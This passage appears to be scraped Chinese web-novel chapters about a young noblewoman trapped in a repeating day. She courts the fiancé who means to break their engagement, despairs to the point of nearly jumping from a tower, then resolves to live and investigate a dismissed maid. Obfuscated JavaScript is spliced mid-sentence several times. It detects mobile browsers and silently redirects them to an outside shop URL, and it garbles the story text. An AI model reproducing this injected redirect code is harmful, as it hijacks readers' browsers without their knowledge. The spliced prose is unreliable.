她用从妆娘那里偷师来的技巧,把自己妆点得极为明媚,又穿上了那袭明艳如火的红衣。 等待孙嬷嬷将萧遇引过来的时间里,她一边熟练地在纸上挥毫,一边心跳得极快,竟莫名生出一股背水一战般的凄凉悲壮。 她努力了不知多久,只为让一个男人回心转意,她把自己脱离困境的希望尽数寄托在他身上。 如果他再次退婚,如果真正努力后仍然失败,她不知道自己还能不能坚持下去。 萧遇走到月华院不远处,忽然听得一阵琴声,如清泉叮咚、流水潺潺,令人心悦神怡。琴声悠扬间,仿佛能看到一位鲜活的少女,在借琴声倾诉自己的心事。 “好琴,”他赞了一声,问孙嬷嬷道,“敢问是何人在弹奏?” 孙嬷嬷笑而不语,虽然她也正疑心是否自家姑娘请了琴师来作假,但面上仍是一派镇定:“姑娘请公子进去。” 萧遇被琴声引着入内,他是第一次来月华院,一时为其中布置巧思而微笑,转过一条花树堆出的回廊,原以为是曲径通幽,不想眼前忽然柳暗花明,进入了极开阔的空间,一红衣女子正端坐于院落中央,垂眸抚琴,听到他的脚步声,才抬起头,嫣然一笑。 她眉如柳,发似墨,明亮天光映照得皮肤白皙无暇,这一笑,明媚过盛夏骄阳。 “沈姑娘……” 萧遇认出抚琴者正是沈乘月,颇为惊讶,正要开口,却见她抬起一指,比在唇间,示意他安静听完这一曲。 萧遇便沉默下来,负手而立,静静聆听。 她的指尖拨过琴弦,音色如风,激荡开去,悠扬美妙,生动明快。少女朦胧又生动的心事,触人心弦。 萧遇从不知沈乘月擅琴,他正困惑,沈乘月弹了半支曲子,却又停了下来,邀请萧遇:“与我共奏完这一曲好吗?” “好。”萧遇前来退婚,本就心怀了些许歉意,对于这种小事自然无有不应。看到一旁乐器架上备了萧,他擅音律,尤喜萧,便上前抬手取下,加入了这场演奏。 他原本想陪她奏完这一曲诉说女子心意的寻梦曲,不想一曲奏到尾声,沈乘月手下音律忽然变了调,完美衔接出了一首他平日最爱的平沙落雁曲。 他诧然望过去,正见沈乘月挑了挑眉,似乎在质疑他是否跟得上。 萧遇被激出了点好胜的性子,萧声也跟着变了调子,伴着沈乘月的琴音几变,走过高山流水,听过夕阳箫鼓,历经十面埋伏,得见汉宫秋月…… 因着两家走得近,两人自幼便相识,萧遇却从不知道沈乘月有这般本事,以往每次见她,她都只会追问他今日美不美、裙子漂不漂亮。那时只当她是个绣花枕头,今日看来肤浅的倒是自己了。 看她手法和演奏如此娴熟,显然并不是为了炫技特地只练了这几首,而是经过长时间的练习。她弹琴时,仿佛整个人都在发光。 萧遇钦佩所有努力和有才华的人,此时对沈乘月不免有些改观。 他的萧声跟得完美,正准备乘胜追击,沈乘月却忽然不再变调,似乎下定决心,要把这首汉宫秋月弹完。 萧遇向她看去,眼神里带点询问之意,沈乘月对他抬了抬下巴,示意由他来变调,萧遇神会,十指一动,变奏出了一曲云水谣。 沈乘月琴声立刻跟着一动,随之悠然地缠绕上来,如清风徐来,水波不兴,唯白云在天空舒卷,与萧声相和。 萧遇掌握着主动权,把萧声一变再变,沈乘月却始终跟得紧。 鉴于她以往在他心目中的形象实在草包,他此时看向她的眼神仿佛是看见一头母猪用轻功上了树。 弹奏得正在兴头上,她却停了手,站起身来,萧遇不解望去,见她甩出水袖,原来是要和着萧声起舞。脚尖轻点地面,旋转如风,裙摆则是在风中摇曳的云。 萧遇注视着她,萧声不再变调,而是配合她完成了这支足够惊艳的舞蹈。 沈乘月有了晖园夜宴的经验,没有过多炫耀自己的舞姿,只把几个最优美最灵动的动作随着韵律展现出来,点到即止。 “好琴!”一舞毕,萧遇又赞了一句,“我竟不知沈姑娘如此擅琴擅舞。” “萧公子谬赞了,”沈乘月笑笑,“快请坐,孙嬷嬷,上茶点!” 萧遇迟疑:“沈姑娘,在下……” “可不是白请你吃茶点,”沈乘月对他眨了眨眼,“是有事相求。” “请讲。” “最近我的夫子写了首琴曲,却只填了半阙词,命我来续后面的,说是要考校考校我,”沈乘月翻开一本琴谱,“我知道萧哥哥你在这方面颇有造诣,所以特地请教你。” 萧遇眉心舒展开:“沈姑娘何必用‘求’字?我来看看就是。” 沈乘月将这本文字谱摊开在膝头,待萧遇凑近后,一指最下方的字迹:“这里是我续的,却总觉得韵味有些不对。” “好字!”萧遇还未细看,先赞了一句。 纸上字迹是小楷,秀美灵动。 待他凝神看向填词,却忽然怔住。 萧遇低着头,不去看沈乘月,似乎有些怕面对她热切的眼神:“求不得,樽前杯酒,鸳鸯纸上绣,画地我作囚,草木也知愁,相思周旋久……这是沈姑娘亲笔所作?” 这是半首讲述少女真挚爱恋以及求而不得之苦闷的词,虽然不甚高明,但大概因为写词的人情真意切,便连这点苦闷都显得分外热诚可爱。 “不过是为赋新词强说愁罢了,萧哥哥觉得如何?” “我……” 鸳鸯纸上绣,萧遇如何会看不懂?鸳鸯只能出现在纸上,成不了现实。原来她已经多多少少明白自己无意于她。她从不曾在他面前流露出丝毫落寞,却原来背地里竟如此自苦吗? 他迟疑片刻,认真给出了一点建议:“沈姑娘接的不错,可见是下过功夫的,不过上半阙曲意苍凉大气,沈姑娘接的略显柔婉了些。” 沈乘月微微蹙眉:“原来如此,看来我还是不如夫子远矣。” 萧遇安慰:“沈姑娘何必与夫子相比,你续得已是可圈可点。” “还是萧哥哥厉害,”沈乘月抬眼看他,眼神里蕴着无尽的崇拜,“一眼便看出了问题所在。” “哪里?”萧遇连忙移开视线,大概是不愿面对这满纸情真,他匆匆翻过一页,却再次呆住。 那是一幅男子肖像,画中人头戴玉冠,面如冠玉,眼神却有些淡漠,明明注视着画外的人,却没把人看在眼里。 萧遇认出那是自己。 虽然是随手匆匆画就,但看得出画手的画工极佳,且对画中人十分熟悉,连他抿唇时嘴角几丝纹路都纤毫毕现。线条流畅,不知到底曾在心中描摹过千遍还是万遍,才能如此一挥而就。 “是……你画的?” “哎呀,”沈乘月做作地抢过琴谱,“我胡乱画的,你别看!” 这就是你眼中的我?总是对你一脸淡漠?萧遇心下浮起一丝愧意,但不爱就是不爱,他合上琴谱起身:“沈姑娘,我……” “你可不许说出去,若知道我一个闺阁女子不知廉耻地给男子作画,还不知道外面那些轻狂人要嚼什么舌根呢?”沈乘月略显霸道地扯住他的衣袖,“不过,好在、好在我们有婚约在身,想来没什么大碍,是也不是?” 沈乘月和沈瑕虽是姐妹,性情却截然不同。 沈乘月从不示弱,哪怕是央求,也定要用霸道来掩饰。 他向来并不喜欢她这份被宠坏了的霸道,如今看出她那被霸道掩饰的些许失措,才忽然觉得自己以往可能是有些误会了她。 萧遇点头安抚道:“是,没有大碍,沈姑娘还请放心,我不会说出去的。沈姑娘,我今日……” “萧哥哥这就要告辞了吗?”沈乘月皱了皱鼻子,“说好了要请你吃茶点的,我亲手做的,你可不能不给面子!” “好。”萧遇拈起一块冰果子,咬下一口,原以为此时心里有事,定然食不知味,却不料一口下去,汁水和香气一同在口中迸发开来,这冰果子用面皮裹了薄薄一层,咬下去感到了牛乳的香气漫延,馅料里有嫩滑的鲜果肉,经过冰镇,越发甘冽香甜。 他已经数不清这是进入月华院后第几次感到惊讶了:“这是沈姑娘亲手所制?” “萧哥哥喜欢的话,我让人再呈一盘上来,你带回去,给萧姨也尝尝,”沈乘月不由他拒绝,“孙嬷嬷,吩咐下面再送些冰果子过来!” 如果是沈瑕,她会说“萧公子若不嫌弃”,而沈乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129561|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月只会说“萧哥哥喜欢的话”,然后不给他拒绝的机会。 沈乘月会更霸道一些,哪怕喜欢一个人,也鲜少会把自己的姿态放得太低。 她是曾痴缠了萧遇许久,但那与其说是“痴缠”,不如说是她试图强迫他围着自己转,缠着他陪自己逛街、游湖,她一不高兴,常常还要附带一句“我去告诉萧姨!” “多谢,”听她提起母亲,萧遇也不好推拒,“家母也很惦记你。” “改日我一定去府上拜访萧姨。” 有丫鬟捧着一盘冰果子送过来,经过萧遇时,左脚被右脚绊了一下,整个人倒了下去,慌乱中准确地抓破了萧遇的衣袖。 动作略显刻意了,不过萧遇倒也没起疑。 丫鬟连声道歉,萧遇自也不会因为这点小事发火,摆了摆手:“无妨。” 沈乘月吩咐:“孙嬷嬷,取我的针线来。” “是。” “沈姑娘,”萧遇猜到她的意思,连忙拒绝,“万万不可。” “萧哥哥就别和我客套了,你刚刚帮了我,我这也算是投桃报李,”沈乘月对他笑笑,“再说若是让你这般出门,外面还不知道要传成什么样子呢?” 他们这些官宦人家的子女,出门饮宴、做客时常常会备一件衣袍在马车上,以防弄脏了衣服,无处更换,失了体面。但萧遇今日满怀心事前来拜访,又没打算多停留,准备得便没那么周全。 “那也不该由沈姑娘亲手……” “这有什么?”沈乘月接过孙嬷嬷递过来的针线,“萧哥哥今日穿月白色,那我给你绣一只仙鹤好不好?也正配你的折扇。” “这不妥当。” “萧哥哥就别和我这般生分了,能为你做点事,我心里欢喜得很,”沈乘月调笑道,“怎么?怕我技艺不精,把绣花针扎进你的手臂里不成?” “自然不是。” 沈乘月拉着他坐下,自己坐在他身侧,示意他把手臂搭在桌上:“一会儿就好,萧哥哥别急。” “……好。” 沈乘月手下拈针如飞,红白黑三色彩线交织,从无意义的线条一点点变得灵动,凝成一幅仿佛随时可以振翅高飞的仙鹤,简直像是在用针线作画。 沈乘月并不只是为了展现自己的绣工,也是趁机与萧遇拉进距离。 从萧遇的角度看过去,女子微垂双眸,认认真真地为他缝补衣袖,仿佛这是此时此刻天底下最重要的事。 往日娇蛮任性的女子,今朝忽然为他亲手做针线,竟让他觉得有些受宠若惊。 他的语气有些干涩:“我竟不知沈姑娘绣工如此精妙。” 沈乘月娇嗔地看他一眼:“你知道什么?” 她分了神,手下针尖一颤,扎破了自己的指尖,她随手用帕子擦拭掉血迹,丝毫没有放在心上。 “沈姑娘,你受伤了!” 沈乘月轻描淡写:“习惯了。” 萧遇垂眸:“是在下对沈姑娘了解太少。” “其实你对我的印象也没错,我就是很懒散啊,若不是知道萧哥哥喜欢琴棋书画,我才懒得去学呢!” 先让他惊艳,再让他生出愧意。 萧遇呼吸一窒:“……为我?” “嗯,你这是什么表情?有空一起下棋好不好?不过我的棋艺肯定是比不上萧哥哥你了,你得让我一让。” 萧遇终于动容:“你为了我……付出了那么多努力?” “不然这世上还有哪个男子配让我为他刺破手指仍甘之如饴?谁叫我喜……啊!”沈乘月半句话出口,似觉不妥,面色微红地掩了唇,一时娇艳不可方物。 “……” “对了,萧哥哥,你今日……” 沈乘月顿了一顿,心底忽然生出些胆怯,没敢把话问完。 她把她能做的都做了,通过长久的练习和构思把自己的惊艳和才华都展现给了他,甚至还有绣花时勉强装出来的温柔小意。 她没有办法做得更好了,再过度讨巧,对她而言就快到了卑微的程度了。 那还不如直接跪下来,求他把退婚二字咽回肚子里,至少还省时省力。 “你今日来找我,所为何事?” “我……”萧遇注视她,沈乘月的眼底太过清澈,他似乎能在其中看到自己的倒影。 “你说,我一直在听。”她面上笑得甜蜜,但袖子里的双手已经握成拳头,在等待宣判的时间里,她破罐子破摔地想,这次若再不成,至少给他一拳发泄一下吧。 “我只是……过来看看。”萧遇面上不忍,面对这个为了他付出了太多努力的女子,终于没有忍心就这样把退婚的话说出口。 再斟酌一下如何能不伤人地开口吧,他想。 蒙他恩赦,沈乘月仿佛听见自己麻木已久的心底抽枝发芽的声响。 9.第 9 章 转眼,又是一个晨间。 沈乘月像疯子一样,仅着里衣,披散着长发,赤脚跑过回廊。 地上的小石子划破了她娇嫩的皮肤,她却犹若未觉,一步一个血印跑过沈府——最温暖的家,亦是如今困住她的囚笼。 萧遇还是穿着那袭月白衣袍,握着折扇在假山下来回踱步,翩翩佳公子,皎皎世无双。 沈乘月的心却一个劲地往下坠。 昨日明明成功了不是吗?萧遇已经收回了退婚的决定,她兴奋地几乎无法入眠,盘算着要去看明日七夕节的花灯会,要去温泉山庄玩,要央求祖母带她坐船下江南看看那些与京城截然不同的风景…… 直到拂晓时分她的意识坠入黑暗,今日再一睁眼又一切如昔,为什么、凭什么? 难道这样还不够,得要萧遇真心爱上自己才行? 可是……真心哪里是那么廉价的东西? 对自己而言那是无数个日月,可对他来说始终只有一天,要在一日之内让他改观、让他对退婚产生迟疑、让他不忍开口,她尽力而为做到了。可想要他的真心,怎么可能? 如果他的真心真的那样廉价,也许他反而失去了配得上让沈乘月心动的魅力。 她抱着最后一丝希望,一字一顿地开口:“萧哥哥,你此来所为何事?” 萧遇见她衣衫不整,连忙移开眼:“沈姑娘还请先穿戴整齐……” 沈乘月浑身泛起战栗,忽然失控地大吼了一声:“你快说!” 萧遇被吼了一句,面上也并无怒色,昨日的动容已经不复,他似乎又变回了那个淡漠的石头人,他一拱手:“萧某今日来访,有要事相商,是……关于我们的婚事。” “……” “沈姑娘,我想……退婚。” “好,我答应了。” 萧遇并未料到如此痛快的应承,面露惊愕。 “我答应了,我错了,我不再执着了,放过我吧……求你,放过我吧……” 萧遇蹙眉:“沈姑娘,你还好吗?” 追过来的孙嬷嬷和几个丫鬟手忙脚乱地给她披上外袍:“姑娘,怎么可以穿成这样乱跑?” “怎么不可以?谁会记得?”沈乘月神色怪异地反问,“我做了好事还是坏事,风光还是丢脸,过了今夜,一切都毫无意义。” “姑娘!”孙嬷嬷打眼注意到地上血迹,发现她的脚受了伤,惊呼一声,“兰濯,快去叫大夫!” “你走吧,”沈乘月连哭闹都没了力气,“萧遇,我不想再看到你了。” “……” “我无能为力了。” 她毕竟只是一个不知世事的少女,要任何人来评判,大概都会说她已经做得够好了。 在这个无尽的盛夏,沈乘月终于学会了什么叫做无可奈何。 “还有你们,不必叫大夫了,别再管我了。” 她不理一院子神色各异的人们,神色麻木地晃悠过沈府的一道道回廊,漫无目的,不知道自己该去做什么、想去做什么。 大喜大悲后,便是木然。 她看起来很平静,大概是清楚了自己已经无计可施,只能任由天命摆布。 “姑娘!”一群丫头嬷嬷追在后面,惶惑地说着什么,却一句都入不了她的耳。她的灵魂仿佛在半空中飘飘荡荡,梦游般对眼前一切都做不出任何反应。 她的背影逐渐没入回廊的阴影当中。 从此,每一次日出,都是一场足以将她吞噬的深渊。 她在盛夏里,开始了一场悄无声息的崩塌。 她不梳头、不洗脸、不吃东西、不肯踏出房门半步,只在床上呆呆躺着,日复一日。 有时候她会想,不如就这样饿死自己也好,但每一次时间重置,都会将她的体力恢复。 她再也找不到前进的方向,只能在时光一隅慢慢腐烂。 “唯见月寒日暖,来煎人寿。” 沈乘月记得有一次曾听到萧遇在读诗,她歪了歪脑袋,甜蜜且天真地问她的萧哥哥:“是什么人能写出这样痛苦的词句?活着多开心啊,可以天天出门去玩。” 如今想来,煞是讽刺。 她拥有了无尽的时光可以活着,却再也找不到活着的意义与乐趣。 每一天,孙嬷嬷都会担心地不行,小心翼翼地问她:“姑娘啊,你这是怎么了?” “你看到窗外开得半遮半掩的那朵海棠花了吗?” “自然。” “午时,它开得会比清晨弧度稍大一些,等到了申时三刻,会有一只黄纹黑背的蝴蝶落在上面,停留片刻,又毫不留恋地飞开,然后被空中一只雀鸟掠食。雀鸟的羽毛,是深灰夹杂着浅白,左爪受了一点小伤。” “……” “我看够了,看腻了,看得要吐了,我想看雪、看雨、看春夏秋冬,想去京城外面玩,想看不同的风景……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151612|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这有何难?”孙嬷嬷不解,“每个人不是都能看到下雨下雪、看到春夏秋冬吗?” “是啊,每个人都能做到的事,于我已是奢求。” 所有人都在向前走着,只有她被困在原地,世界上一切鲜活都与她无关,这种想法终于将她击溃。 沈乘月眼神空洞:“我什么都试过了。我离开过京城,在京郊我睡了过去,然后醒在芙蓉花帐之中……我甚至拜访过巫祝,没用的,都没用的。” “姑娘,我这就去叫大夫来!” “我没得失心疯,”沈乘月阻止了她,“孙嬷嬷,你是真正的孙嬷嬷吗?” “什么?” “我想,会不会我已经过世了,在萧遇第一次提出退婚那天,我气急晕过去了,就再没有醒过来,而这里,只不过是无间地府一隅,是困住逝者的幻梦。” 孙嬷嬷的手在颤抖:“姑娘……” “我只是……想不通我做错了什么。” 孙嬷嬷急得眼泪都流了出来:“姑娘你到底是怎么了?你遇上什么事了啊?是不是因为萧公子?不过是一个男人,咱们去找新的、找更好的好不好?” 沈乘月神色恍惚,勉强挤出来个笑:“一切都没有意义了。” “……” 孙嬷嬷坚持请了大夫来,须发皆白的老大夫给沈乘月把了脉,除了心思郁结、忧思甚重,什么都没看出来。 他给她开了一副安神的药,沈乘月灌了几大碗,喝不好,也喝不坏。 后来她就学会了伪装,省下了这个环节。 有时候她揽镜自照,发现铜镜里映出的容颜鲜艳如昔,眼神却已不复清澈,它们空洞荒芜得一如她的内心。 好在她还有时间,无限的时间。 据说时间能冲淡一切,化解一切痼疾。 不知过了多久,某一天,沈乘月觉得自己似乎好些了,心底有了些力气,大概可以迈出房门,去院子里走走。 她站在院子中央,迎着烈日,抬头盯着太阳看,直到双眼发酸,眼前出现黑斑。 一名洒扫丫头提着扫帚和簸箕从院子边缘经过,被她叫住:“你说,如果你被困在了一成不变的一日,你会做些什么?” 她以为这是天底下最难的问题,但丫头甚至没有思考,只是毫不迟疑地回答:“扫地。” “……” 不知为什么,这两个字成了压垮她的最后一根稻草。 10.第 10 章 不知多久以来,沈乘月第一次好好穿了衣服、梳了头发。 她找借口支开了所有人,只身离开了月华院,溜出了沈府。 经过紫藤花架时,那群丫鬟小厮还在说闲话。 几句断断续续的“大小姐院子里撵出去的那个小桃”、“谁叫她手脚不干净”、“话不能这么说,都是可怜人”传进她耳朵里。 一成不变得令人厌烦。 大街上人群熙攘,不知多少人与她擦肩而过,有人撞到她,她却懒得闪避,被撞得歪歪斜斜。 她从热闹的街市上穿行而过,他们的鲜活与她无关,反而让她觉得格格不入。 街边有商贩的叫卖声,但她已经懒得多看一眼那些早已看过不知多少遍的物件,连摆放的方位都依然如故。 她用脚步丈量着这条长街,三步之外卖杏仁糕,五步之外是羊脂饼。她闭着眼睛都可以把距离掌控得准确无误,但她无意去光顾其中任何一家。 这么久以来,沈乘月终于有了一个明确的目的地。 宣德楼位于京城中心,坐北朝南,筑于高台之上,站在楼顶几可俯瞰整个京城。其乃前朝皇室所建,画栋飞甍,雕梁绣柱,曾是皇家大典时用来敲钟的钟楼。到了本朝,才对百姓开放观览。 沈乘月一路攀登至楼顶,她一向疏于锻炼,好在年轻且活泼,平日喜欢到处去玩,体力保持得还不错。 她在楼顶站定,俯瞰京城,地上行走的人群微如蝼蚁。 沈乘月最爱热闹,平日宁愿呼朋唤友去游湖玩耍,也绝不会一个人来攀登高楼,她还没到会一个人品味忧伤的年纪。 所以,这其实是她第一次登上宣德楼。 这里风景意外得好,似乎伸手就可以触碰到白云,高处风大,因此也少了几分闷热。 因此沈乘月也露出了数日以来唯一一个笑容。 “祖母,对不住了……” 好一个山重水复柳暗花明,世上哪有那么多柳暗花明? 死亡,已经是她能想到的唯一一个破局之法了。 也许从这里跳下去后,能破解循环,回到原本的生活中;也许是一死万事空。 但她已经不知该如何坚持下去了。 沈乘月颤颤巍巍地爬过围栏,站在了楼顶边缘。长发与裙摆在风中翻滚摇动,连带她自己看起来也像是一片随风摇摆的飘萍。 她平日最爱喧嚣,告别时却如此冷清。 沈乘月听说人归去前,眼前会闪过这一生的内容。 她试图给自己的一生做个总结,却发现没有太多内容可以提及。 美貌,娇贵,家世好,有人宠爱,有人追捧……那当然不错。 可是她这辈子到底做了什么呢? 好像也没什么。 人生前十几年吃喝玩乐,困在循环中的日子学会了琴棋书画和绣花厨艺,心悦的男子并不想娶她。 短短几句话,就能总结她的全部人生。 掩盖在花团锦簇下的,毫无意义的人生。 于是她闭目,一只脚踏出楼顶边缘,准备一跃而下。 前方就是解脱。 在经历了如此令人煎熬的循环后,这份解脱看起来竟如此诱人。 自由的风拂面而来,沈乘月却猛然收回了悬空的左脚。 她圆睁开双眼:“这个逻辑不对,我没做过什么有意义的事,但我也没做过坏事啊,我不该死!” “我没害过人,没杀人放火,没坑蒙拐骗,没随地吐口水!” 她大声嘶吼着,楼很高,声音传不了那么远,街上人来来去去,各自奔忙。 但沈乘月还是在吼:“这不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168482|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我故事的结局!” “我不信这是绝路,我不信没有破局之法!” “我不认命!” “我不服!” “我才不要自尽!” 沈乘月乱七八糟地乱吼了一顿,才脱力地在楼顶边缘坐下,上半身靠着栏杆,双腿悬空。 她闭目喘息了很久,才让自己的心跳渐渐平缓下来。 她感觉到脸上发凉,抬手一摸,才意识到自己不知何时流下了几行清泪。 “沈乘月,动动你的脑子,”她对自己说,“你的脑袋不是你的漂亮摆设。” “我认为循环是因退婚而起,但我已经让萧遇收回了退婚的决定,循环却仍没有结束,”她强迫自己冷静,一点点开始分析,“有两种可能,一是仅仅这样还不够,但在这件事上我已经没有更努力的余地了;二就是……” 她握了握拳:“破局之道不在萧遇身上。” “也许当天我身边还有其他事发生,而他的退婚不过是个巧合。” “不必再死磕萧遇,我要试试其他的解法。” “除了他还有什么特别的事?晖园夜宴?皇子选妃?那也不对……如果天意想撮合我与三皇子,那在殿下亲自护送我回府、送我花鸟的那一日就该结束了。那一日我自认已经做到最完美了。” “我需要去寻找这件特别的事。” “今天把所有的眼泪哭出来,”她和自己约定,“从明天开始,一切重来,把从早到晚发生的每一件小事都记下来,事无巨细,不可遗漏。” 沈乘月下定决心,深呼吸,站起身来,望向远处悠悠白云,仰视的角度看不见地面上的行人,她仿佛独自立于天地之间。 “我还没有失败。”她说。 “只有我彻底放弃自己,才叫失败,而我……还没有。” 11.第 11 章 人生没有意义,那就去寻找意义好了,哪有因为没有意义就要寻死觅活的? 下楼的路太长,沈乘月懒得再爬下去,就晃悠着双腿坐在顶楼边缘,等待黑夜降临,等待繁星满天。 循环已不知多少日夜,这却是她第一次认真去看夜景。 京城的夜色一向很美,月色洒在沈乘月的身上,她伸手想掬起一缕月光,月色却透过她的指缝,洒在钟楼上,也一视同仁地洒在街面上。 她注视着楼下的街市,从喧嚣到安静,到空无一人,只偶尔经过一队巡街的兵士。 商贩们都归家了吗?家里有人与他们共进晚膳吗?他们满怀希望地期待着明天吗? 远方无数阁楼院落里,万家灯火燃起,又逐渐熄灭。 天地广阔,便显得个人很渺小,她一个人的情绪也很渺小。 天地一片静谧中,沈乘月轻轻哼唱起了一支小曲。 兴致来时,又伴着哼唱跳起了一支舞,没有目的,没有观众,只为自己愉悦的一支舞蹈。 舞步凌乱,毫无章法。 她忽然有些想饮酒,可惜钟楼上没有酒铺。 是个商机,她胡思乱想着,卖酒给登楼看风景的文人墨客,也是一桩雅事。 她在自娱自乐与胡思乱想中等来了初升的朝阳。 万丈霞光披下,沈乘月笑着闭紧了双眼。 她入睡,然后她醒来。 醒在沈府,月华院,芙蓉花帐当中。 睁开双眼的一瞬间,她下意识想继续赖在这张床上腐烂下去,但她眨了眨眼,想起昨日的计划,还是一个鲤鱼打挺起了床。 不想死,就好好活着,不想认输,就努力去与天争胜吧。 自我厌弃的情绪已经暂时褪去,重新有了目标的沈乘月很快洗了脸,换了件轻便的衣物,用一根发带把头发简单束成马尾。 出门时,正撞见外间的丫鬟,后者面上惊讶之色难掩:“姑娘怎么自己起来了?” 沈乘月挑了挑眉:“你惊讶的是我会自己穿衣服还是会自己洗脸?” “姑娘!”孙嬷嬷带着喜意的声音传来,“萧少爷来看您了!” “我知道了,”沈乘月忽然笑了笑,褪去欢喜和愤怒伤心,对这个消息无喜无怒后,她还是第一次注意到孙嬷嬷的语气——她竟为自己开心至此。她的声音里带着微喘,想来是急着通知自己,还匆匆跑了一段距离,“多谢你了。” 孙嬷嬷被惊得有些结巴:“不、不必,姑娘客气了,通报一句算得了什么?” 沈乘月拍了拍她的肩:“我在府里走走,你们不必跟着。” “姑娘……” “我向你保证,我自己会撑伞的,绝不会过了暑气。”沈乘月晃了晃手里的阳伞,扬长而去。 “是。” 沈乘月打着伞,沿着回廊缓缓而行,她急躁的性子已经差不多被循环磨平了。 “每一件小事,事无巨细……” 她默念着走过拐角,打眼便看到不远处紫藤架下,有几个丫头小厮在躲懒乘凉,偷偷聊着闲话。 “对了,小桃。” 这些人的闲话,要么被孙嬷嬷打断,要么就是沈乘月自己压根没心思去细听。她心里惦记着萧遇,惦记着循环,几乎没再关注过别的。 这一次,她倒要仔细听听,月华院里出去的小桃究竟是缘何成为了这群人的谈资。 她轻手轻脚地凑到近前,紫藤架上藤蔓茂密,几人并未注意到她的到来。 大概是沈乘月今日没有花时间在梳妆打扮上,出来得稍早一些,听这些人闲扯了些有的没的,很是了解了一番府里下人的人际关系,才听到有人提起小桃:“对了,大小姐院子里撵出去的那个小桃,你们还记得吧?” 一个丫鬟接口:“怎么不记得?不就前阵子的事儿吗?她怎么了?” “听说被她爹娘给卖了。” “卖哪儿去了?” “还能去哪儿?她是因为偷盗才被府里撵出去的,好地方哪儿肯收她?” “你是说……” 说话的人压低了声音:“被卖进窑子了呗!” 有人发出细细的惊呼。 一旁偷听的沈乘月也怔了怔,无数次被自己略过的闲话里,讲的居然是这样一桩事。 她一时忘了自己的目的,开始专心听起几人的对话。 “唉,谁叫她手脚不干净呢?”有人叹了一声。 “话不能这么说,”一个小丫鬟的声音响起,“也是可怜人,那种地方……她爹娘真是够狠的。” “虽然都是浣洗丫头,但她好歹是大小姐院子里的,年底赏钱比咱们都多些呢,怎么就想不开要去偷主家的东西?” “听说是她娘病了,需要买药钱。她大概是一时起了歪心思……” “唉……” “我不明白。”一道清脆的女声插入他们的对话,打断了他们的唉声叹气。几人一惊,转头去看,才发现半蹲在紫藤架后的沈乘月。 “大小姐!”几人吓了一跳,慌慌张张地起身行礼。把“窑子”这种污糟话传到大小姐耳朵里,被罚月钱都算轻的。 沈乘月摆了摆手,免了他们的礼:“我不明白,小桃既是为了她娘才偷东西,她家里怎么会忍心把她卖了?” “……”几人面面相觑,谁都不敢来当这个出头鸟,来回答这个堪称天真的问题。 穷苦人家卖个女儿有什么稀奇?在场也有两个丫头是幼时便被父母卖进沈府,签了卖身契的,只是小桃的爹娘心更狠些罢了。 而她们也并不知道该怎么对沈乘月这样一个备受宠爱、锦衣玉食的大小姐来解释这些,她大概既不能理解为什么有人会穷苦到这种程度,也不能理解为什么有人会不爱自己的女儿。 见他们不答,沈乘月以为是他们并不了解小桃父母的想法,也不再执着这个问题,转而问道:“小桃被卖到哪间窑、青楼去了?你们知道吗?” “……” 几个丫鬟小厮又开始大眼瞪小眼,沈乘月不耐烦了:“再不回答我就去找孙嬷嬷来,让她来审问!” “是城西胭脂苑!” “……都怕孙嬷嬷是吧?”沈乘月也算是借着自己身边嬷嬷的威势狐假虎威了一把。 几人噤若寒蝉。 “胭脂苑?”沈乘月眼珠一转,“带我去看看!” 刚刚报上楼名的小厮,忽然扑通一声跪下,咚咚作响地磕了三个响头:“大小姐,求您放过小的这一回,您命人打我几板子也好,把我月钱扣光也罢,小的绝不敢带您去那种地方!” 其他人也跟着跪了下来,若把大小姐带进青楼,被老夫人和老爷知道了,他们的后果不堪设想。 “……” 见她不语,几人都跟着开始磕头,年纪最小的丫头眼里噙着泪花,想来是真的吓得狠了。沈乘月只能摇了摇头:“行了行了,都起来吧,当我没说过。” 她站起身来,拍了拍身上蹭到的花粉。沈乘月从没去过青楼,只朦朦胧胧地知道那里大概不是什么好地方,她自己是不太敢只身前去的,而孙嬷嬷也必然不会同意带她去,说不定还会找祖母告状。 她开始思索该如何达到自己的目的,倒是从没想过,小桃的事到底该不该由她来管。 若只带最忠心、绝不会告密的大丫鬟兰濯和云沾前去……那也不行,她们两个又不会拳脚,万一出了什么事,反而把她们两个害了。 去找朋友?平日能与沈乘月一道游湖玩乐的闺秀倒不在少数,但她实在想不到哪一个是敢陪自己一道去青楼的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 